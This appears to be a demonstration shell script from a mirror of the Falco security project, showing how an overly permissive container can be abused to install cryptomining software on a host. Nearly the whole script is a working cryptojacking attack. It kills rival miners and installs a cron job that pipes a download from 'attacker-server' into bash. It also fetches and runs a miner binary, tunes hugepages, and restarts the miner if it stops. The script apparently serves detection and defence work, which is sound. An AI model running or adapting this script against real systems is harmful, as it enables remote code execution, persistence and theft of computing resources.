mirror of
https://github.com/falcosecurity/falco.git
synced 2026-04-04 11:02:16 +00:00
a3f53138d3
An example showing how an overly permissive container environment can be exploited to install and run cryptomining software on a host system.
65 lines
1.9 KiB
Bash
65 lines
1.9 KiB
Bash
#!/bin/sh
|
|
echo "***Checking for existing Miner program"
|
|
ps -fe|grep jaav |grep -v grep
|
|
if [ $? -eq 0 ]
|
|
then
|
|
pwd
|
|
else
|
|
|
|
echo "***Killing competing Miner programs"
|
|
rm -rf /var/tmp/ysjswirmrm.conf
|
|
rm -rf /var/tmp/sshd
|
|
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
|
|
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
|
|
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
|
|
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
|
|
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
|
|
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
|
|
|
|
echo "***Reinstalling cron job to run Miner program"
|
|
crontab -r || true && \
|
|
echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
|
|
crontab /tmp/cron || true && \
|
|
rm -rf /tmp/cron || true
|
|
|
|
echo "***Configuring Miner program"
|
|
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
|
|
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
|
|
chmod 777 /var/tmp/jaav
|
|
cd /var/tmp
|
|
|
|
echo "***Configuring system for Miner program"
|
|
cd /var/tmp
|
|
proc=`grep -c ^processor /proc/cpuinfo`
|
|
cores=$(($proc+1))
|
|
num=$(($cores*3))
|
|
/sbin/sysctl -w vm.nr_hugepages=$num
|
|
|
|
echo "***Running Miner program"
|
|
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
|
|
fi
|
|
|
|
echo "***Ensuring Miner program is alive"
|
|
ps -fe|grep jaav |grep -v grep
|
|
if [ $? -eq 0 ]
|
|
then
|
|
pwd
|
|
else
|
|
|
|
echo "***Reconfiguring Miner program"
|
|
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
|
|
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
|
|
chmod 777 /var/tmp/jaav
|
|
cd /var/tmp
|
|
|
|
echo "***Reconfiguring system for Miner program"
|
|
proc=`grep -c ^processor /proc/cpuinfo`
|
|
cores=$(($proc+1))
|
|
num=$(($cores*3))
|
|
/sbin/sysctl -w vm.nr_hugepages=$num
|
|
|
|
echo "***Restarting Miner program"
|
|
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
|
|
fi
|
|
echo "runing....."
|
